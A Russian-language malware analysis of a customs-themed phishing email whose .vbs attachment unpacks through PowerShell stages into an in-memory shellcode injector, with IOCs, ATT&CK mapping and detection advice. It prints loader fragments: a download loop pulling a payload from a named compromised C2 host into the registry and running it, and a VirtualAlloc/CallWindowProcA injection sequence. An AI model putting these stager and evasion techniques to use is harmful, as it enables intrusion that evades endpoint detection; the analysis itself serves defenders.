Разбор инцидента: от письма про таможенное оформление до 13 КБ шеллкода, который так и не удалось прочитать статически.


TL;DR. Пришло письмо с «документами для таможенного оформления» — внутри .vbs на 32 КБ. Под ним пять слоёв: VBS-декодер, PowerShell, отданный в cmd через %VAR%, XOR-загрузчик с кэшем в реестре и, наконец, PowerShell-инжектор, который поднимает в памяти шеллкод и 129 КБ зашифрованного модуля. Дизассемблер на последнем слое упирается в стену: оба бинарных блоба упакованы, ключ живёт в стабе. Домен C2 — взломанный сайт индийской строительной компании на DigitalOcean, финальный C2 — где-то дальше. Публичной атрибуции нет: индикаторы не встречаются ни в одном отчёте.


1. Письмо

Всё начинается с обычного делового письма. Получатели — в скрытой копии (undisclosed-recipients), что само по себе уже намекает на массовую рассылку, но в потоке из полусотни писем за день такое легко пропустить.

От: Илья Зелёный <service@techrem.ru> Кому: undisclosed-recipients Тема: Message has been disinfected -Документы к авто на 19-20 октября Дата: 19.10.2026, 09:24

Доброе утро, коллеги! На следующей неделе ожидаем прибытие авто на СВХ ILAR Во вложении документы для проведения таможенного оформления


С уважением, ТОО “ЮникомТехСервис” u.t.s-company@yandex.kz

Тема письма уже содержит приписку шлюза — «Message has been disinfected». То есть защита что-то заметила и что-то с письмом сделала, но объект до нас всё равно доехал.

Что не так с этим письмом, если читать его как охотник, а не как получатель:

  • Тема составная. Префикс шлюза приклеен к теме без пробела: disinfected -Документы. Сама тема — про документы, а не про заражение.
  • Домен отправителя мёртв. techrem.ru — припаркован: NS указывают на ns1/ns2.snparking.ru, MX — на void.blackhole.mx (то есть вся почта в этот домен уходит в чёрную дыру, ответить отправителю нельзя), SPF- и DMARC-записей нет вообще. Исторически домен принадлежал сети сервис-центров «ТехРем» — то есть выбран не случайно, а как «правдоподобный российский B2B-домен, с которого уже никто не ответит».
  • Подпись не сходится с отправителем. Пишет «Илья Зелёный» с @techrem.ru, подписывается ТОО «ЮникомТехСервис» и даёт адрес на yandex.kz. Три разных источника идентичности в одном письме.
  • Приманка попадает в контекст. «Прибытие авто на СВХ ILAR», «таможенное оформление» — это язык реальной логистики, а не абстрактное «ваш счёт».
  • Вложение — скрипт. Имя файла мимикрирует под регистрационный номер документа: AIX6O23013-168-06-2026_10_19 UTS.vbs. Расширение .vbs при этом видно, но рядом с «документами» оно читается как «какая-то служебная приписка».

Забегая вперёд: полезная нагрузка лежала на сервере с 04:25 МСК — примерно за пять часов до отправки письма.


2. Слой 1: VBS, в котором нет ни одной осмысленной строки

Файл — 32 660 байт, чистый ASCII, CRLF. Внутри — сотни присваиваний вида:

1
2
3
Mundhulen = "Q"
Afdkningens = "mQlYw"
Predining "..." 

Осмысленных строк ровно две — технические, по краям файла: Set fso = CreateObject("Scripting.FileSystemObject") в начале и Set Errand = CreateObject("WScript.Shell") на 129-й строке. Между ними — сотни присваиваний и вызовов, за которыми не видно ни одной команды. Всё держится на одной функции Predining() и одной глобальной переменной-аккумуляторе Geoteknik:

1
2
3
4
5
Function Predining(s)
  For i = 17 To Len(s) Step 5
    Geoteknik = Geoteknik & Mid(s, i, 1)
  Next
End Function

Каждый вызов забирает каждый пятый символ, начиная с 17-й позиции, и дописывает к общей строке. Счётчик глобальный — поэтому куски склеиваются в правильном порядке только если вызывать их последовательно. Плюс Mundhulen(s) = Right(s, 1) — «перевод строки», который вставляется в нужных местах.

Внутри этой каши, если применить декодер, оказывается… обычный VBS:

1
2
Iblandende = Errand.ExpandEnvironmentStrings(Petinas)   ' %WINDIR%
Bestvede = Errand.ExpandEnvironmentStrings(erholdelsers) ' c:\windows\syswow64\...\powershell.exe

И финальная строка, ради которой всё написано:

1
cmd.exe /v:on /c echo ^%Rhizostomata^% | !Mesaticephaly! -

Обратите внимание на ^% и ^!. Это не часть полезной нагрузки — это экранирование для cmd. Внутри cmd каретка съедается, и PowerShell получает нормальный код. Если запустить строку как есть в PowerShell, получите ошибку «^!False is not recognized» — на этом легко потерять полдня, решив, что декодировал неправильно.


3. Слой 2: PowerShell, которого нет в командной строке

Конструкция echo <код> | powershell.exe - — это запуск PowerShell со stdin. В списке процессов вы увидите powershell.exe с аргументом - и пустым CommandLine: самого скрипта в командной строке нет, файла на диске тоже нет, а Script Block Logging при этом обычно всё фиксирует.

Скрипт собран из шести фрагментов (Voyagers), в сумме 6960 символов. Своя криптография, свой словарь — но всё то же самое:

1
$key = @(65,108,101,99,116,111,114,111,109,97,110,99,121)  # "Alectoromancy"

Для base64-блобов — XOR с ключом, для «инлайн-строк» — вычитание: тот же ключ, только вывернутый. Декодированный скрипт содержит:

  • User-Agent: 5.0 (Windows NT 10.0; Win64; x64; rv:157.0) Gecko/20100101 Firefox/157.0 — обратите внимание, без префикса Mozilla/. Такой строки не бывает у настоящего Firefox, зато она отлично ищется в прокси-логах.
  • URL: http://thetamarindleafresidency.com/Lyksaligstes.asd — обычный HTTP, без TLS.
  • COM-объект: Msxml2.ServerXMLHTTP.6.0 — обход прокси-настроек браузера.
  • Кэш: HKCU:\Idlenesses\Skandalens, значение Adresselister.

Цикл загрузки незамысловат:

1
2
3
4
5
6
while (-not (Test-Path $regkey)) {
  $r = New-Object -Com Msxml2.ServerXMLHTTP.6.0
  $r.open('GET', $url, $false); $r.setRequestHeader('User-Agent', $ua); $r.send()
  Set-ItemProperty $regkey $value $r.responseText
  Start-Sleep 1
}

Ответ сервера (base64-текст) складывается в реестр, читается обратно, декодируется и — Invoke-Expression. Ни одного файла на диске. Кэш в реестре нужен, чтобы пережить перезапуск: если процесс упал, следующий проход возьмёт payload оттуда, не обращаясь к C2.


4. Слой 3: 232 килобайта, которые отдал сервер

Скачиваем (одним GET через прокси, ничего не исполняя):

1
2
3
4
5
HTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-Length: 232592
Last-Modified: Mon, 19 Oct 2026 01:25:56 GMT
Server: LiteSpeed

232 592 символа base64 → 174 444 байта. В скрипте зашиты два числа: смещение 142216 и длина 32228. В сумме — ровно 174 444. Совпадение до байта: файл собран под этот скрипт, а не наоборот.

Разметка:

СмещениеРазмерЧто это
0 – 13 31013 310шеллкод-стаб
13 310 – 142 216128 906зашифрованный модуль
142 216 – 174 44432 228PowerShell-инжектор

Первые 142 КБ выглядят как случайный шум — высокая энтропия, ни одной строки. Это и есть полезная нагрузка; всё, что до неё, скрипт даже не читает.


5. Слой 4: инжектор без Add-Type и без CreateThread

Третий скрипт — самый интересный. Он собран тем же генератором (те же датские слова в комментариях, тот же ключ), но при этом не содержит ни декодера, ни ключа: он переиспользует функции, которые уже висят в памяти процесса с предыдущего слоя. Мелочь, которая экономит атакующему байты и ломает наивный статический разбор.

Что он делает:

1. P/Invoke без Add-Type. Вместо компиляции C# на лету — Reflection.Emit:

1
2
3
4
$asm = [AppDomain]::CurrentDomain.DefineDynamicAssembly(...)
$mod = $asm.DefineDynamicModule(...)
$type = $mod.DefineType(...)
$fn = $type.DefinePInvokeMethod($name, $dll, $attrs, ...)

Импортируются VirtualAlloc и CallWindowProcA (user32), NtProtectVirtualMemory (ntdll), OpenProcessToken / CreateEnvironmentBlock / DestroyEnvironmentBlock. Add-Type в логах не появляется — а именно его обычно и ищут.

2. Два буфера. Первый — 13 310 байт, PAGE_EXECUTE_READWRITE. Второй — 68 472 832 байта (65 МБ), PAGE_READWRITE. Шестьдесят пять мегабайт под модуль на 129 КБ означает, что распакованный образ крупный — типично для упакованного .NET- или Go-импланта.

3. Копирование и запуск.

1
2
3
[Marshal]::Copy($payload, 0,     $rwx, 13310)   # стаб
[Marshal]::Copy($payload, 13310, $rw,  128906)  # модуль
$user32::CallWindowProcA($rwx, $rw, $key, $key, 0)

Запуск через CallWindowProcA, а не через CreateThread — старый трюк: поток не создаётся, событие «создание потока» не генерируется, а EDR видит вызов user32 с указателем на приватную память. Стаб получает первым аргументом указатель на зашифрованный модуль, расшифровывает его и передаёт управление дальше.

4. Маскировка. ShowWindow для консоли, перезапись заголовка окна на случайную строку, перебор и перезапись блока окружения процесса (OpenProcessToken(-1, TOKEN_QUERY) → CreateEnvironmentBlock → SetEnvironmentVariable(..., 'Process') → DestroyEnvironmentBlock) — чтобы в окружении не осталось следов исходной командной строки.

5. Самое смешное. Скрипт снимает с себя cmd-экранирование:

1
$env:Rhizostomata = $env:Rhizostomata.Replace('^|','|').Replace('^&','&').Replace('^!','!').Replace('^>','>')

Те самые каретки из первой строки cmd.exe /v:on /c echo ^%...^% | ... — код знает, что его протащили через cmd, и приводит себя в порядок.


6. Где статика упирается в стену

Дальше — обрыв. Оба бинарных блоба упакованы:

  • энтропия по окнам: 7,84–7,86 (стаб) и 7,28–7,77 (модуль);
  • ни одной ASCII/UTF-16 строки;
  • на входе стаба нет валидного пролога — линейный дизассемблер с нулевого смещения выдаёт мусор;
  • MZ/PE внутри модуля по штатным смещениям нет.

Ключ и распаковщик лежат в самом стабе и работают только в памяти. Значит, финальный имплант и его C2 статически не достаются — и это правильно спроектировано: даже полный дамп c2-ответа не даёт семейства.

Хэши на память:

  • файл: e159dc2fd74322e66f96018325a3432c97369c85256e6201b76f3a70fb1f3aee
  • стаб: 3c5b9f6ba6055fc2f6fcd0da05e065432d69cb0a31aec52f6e9a3e007d5c4c17
  • модуль: 6b7f7f8b906c0bff0d490749d1fc76439b849f1535809b8e6d0c00653f371e9d

7. Подпись, которая ничего не подписывает

В .vbs зашит Authenticode-блок с самоподписанным сертификатом:

1
2
3
C=US, O=Tilbagedateret, OU=Frugtsukker Motorbanens,
CN=Tilbagedateret
CA:TRUE, RSA-4096, срок: 29.09.2026 – 29.09.2027

Датские слова, выдуманная организация, CA:TRUE у листового сертификата, выпуск за три недели до атаки. Доверенной цепочки нет — подпись не даёт ничего, кроме ещё одной сигнатуры генератора: тот же словарь, из которого берутся имена файлов на C2 (Lyksaligstes.asd, brikvvedes.ocx).


8. Инфраструктура: взломанный сайт, а не «сервер злодеев»

thetamarindleafresidency.com — не ботнет-нода, а скомпрометированный сайт жилого комплекса Tamarind Leaf Residency (сектор 50, Нойда, Индия). IP 142.93.209.119 — DigitalOcean, Бенгалуру; хостинг venus.hostitsmartserver.com, LiteSpeed. На обратной записи — около 499 доменов, почти все индийские малые бизнесы: типичный shared-хостинг, где сломали один аккаунт.

Публичные источники:

ИсточникРезультат
urlscan.io2 скана домена, оба за 20.10.2026: /brikvvedes.ocx (00:32 UTC, отправитель из России) и главная страница сайта
Triage2 отчёта по этому payload: только static, score 1/10, семейство не определено
AlienVault OTX0 пульсов по домену и по обоим хэшам
URLhausнет в 30-дневном фиде
GreyNoiseIP не замечен в сканировании
Поискни домена, ни имён файлов, ни XOR-ключа, ни subject сертификата — ни одного упоминания в отчётах

Вывод: публичной атрибуции нет. Кампания либо новая, либо специально живёт ниже радаров. Хэши при этом пер-жертвенные: у второго образца из urlscan другой SHA-256, хотя сборка та же — детект по хэшам здесь бесполезен.


9. Таргет или массовая рассылка?

Признаков адресной операции нет:

  • undisclosed-recipients — рассылка по списку, а не письмо конкретному человеку;
  • в коде ноль проверок жертвы: ни языка, ни домена, ни имени пользователя, ни анти-VM, ни задержек;
  • «проверки» в VBS (GetDrive("Z:"), %PROCESSOR_ARCHITECTURE%) — пустышки, обе ветки ведут к одному и тому же powershell.exe;
  • инфраструктура одноразовая: взломанный shared-хостинг, домен отправителя — мёртвый парковочный;
  • имена файлов на C2 генерируются из словаря и меняются от жертвы к жертве.

Что действительно выделяется — ориентация на русскоязычных получателей: приманка про таможню и СВХ, письмо на русском, две независимые отправки в urlscan за сутки. Это массовая кампания по региону, а не охота за конкретной компанией.


10. IOC

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
# Сеть
hxxp://thetamarindleafresidency[.]com/Lyksaligstes[.]asd
hxxp://thetamarindleafresidency[.]com/brikvvedes[.]ocx
thetamarindleafresidency[.]com
142.93.209.119
    User-Agent: 5.0 (Windows NT 10.0; Win64; x64; rv:157.0) Gecko/20100101 Firefox/157.0
    (без префикса "Mozilla/" — сама по себе отличная сигнатура)

# Почта
service@techrem.ru        (домен припаркован, MX -> void.blackhole.mx, без SPF/DMARC)
u.t.s-company@yandex.kz   (адрес из подписи)

# Хост
HKCU\Idlenesses\Skandalens   значение: Adresselister
env: Rhizostomata, Mesaticephaly
wscript.exe -> cmd.exe /v:on /c echo ... | powershell.exe -

# Файлы
32 660 B  AIX6O23013-168-06-2026_10_19 UTS.vbs
          e159dc2fd74322e66f96018325a3432c97369c85256e6201b76f3a70fb1f3aee (payload .asd)
          3c5b9f6ba6055fc2f6fcd0da05e065432d69cb0a31aec52f6e9a3e007d5c4c17 (стаб, 13 310 B)
          6b7f7f8b906c0bff0d490749d1fc76439b849f1535809b8e6d0c00653f371e9d (модуль, 128 906 B)

MITRE ATT&CK: T1566.001, T1059.005, T1059.001, T1027, T1105, T1112, T1620, T1564.003.


11. Что делать

Блокировки. Домен C2 и IP — в прокси, DNS и почтовый шлюз. Помните: это останавливает только второй слой. Финальный C2 живёт в зашифрованном модуле и по этому домену не находится.

Реестр — главный артефакт. Ключ HKCU\Idlenesses\Skandalens со значением Adresselister — это кэш payload. Если он найден, значение можно разобрать без обращения к C2: base64 → ASCII → Substring(142216, 32228) даст текст инжектора, а сам файл — в карантин.

Процессы. Самая дешёвая и самая точная сигнатура:

1
wscript.exe|cscript.exe  ->  cmd.exe /v:on /c echo ...  ->  powershell.exe -

Сочетание /v:on и echo в командной строке cmd.exe, запущенного из wscript, в норме не встречается практически никогда.

Сеть. HTTP GET без TLS на *.asd/*.ocx с UA, начинающимся с 5.0 ( вместо Mozilla/5.0 (. Плюс обращения рабочих станций к 142.93.209.119:80.

Память. Если процесс ещё жив: приватная RWX-память рядом с 65-мегабайтным RW-буфером и последующий CallWindowProcA — характерная связка. Дамп процесса даст расшифрованный имплант; это единственный путь узнать семейство без песочницы.

Логирование. Script Block Logging (4104) и AMSI — при запуске через stdin содержимое скрипта обычно попадает в журнал, несмотря на пустой CommandLine.

Почта. По имени вложения и домену отправителя проверить, сколько получателей получили письмо и был ли запуск до обновления баз. И отдельно — почему письмо с префиксом «disinfected» всё-таки доставилось.


12. Выводы

  1. .vbs в 2026 году работает. Ни макросов, ни LNK, ни ISO — просто скрипт, который запускается двойным кликом, и никто не удивляется.
  2. Пять слоёв — это не паранойя, а экономика. Каждый слой стоит атакующему несколько строк генератора и ломает по одному классу детектов: сигнатуры, статический разбор, Add-Type, CreateThread.
  3. Реестр как кэш — недооценённый артефакт. Он превращает одноразовый скрипт в устойчивый и оставляет след, который переживает перезагрузку.
  4. Взломанный легитимный сайт дешевле и незаметнее, чем «своя» инфраструктура: репутация домена чистая, а живёт он ровно до того момента, как кто-то отправит его в urlscan.
  5. Публичная атрибуция — не показатель. Ноль упоминаний в OTX, URLhaus и поиске не значит «безобидно»; это значит «свежее и мало отслеживаемое».
  6. Детект по хэшам здесь не работает — payload собирается под каждую жертву. Работает поведение: цепочка процессов, ключ реестра, странный User-Agent, RWX-память и CallWindowProcA.

Персональные данные получателей из переписки в статье не публикуются. Ссылки на C2 дефангованы.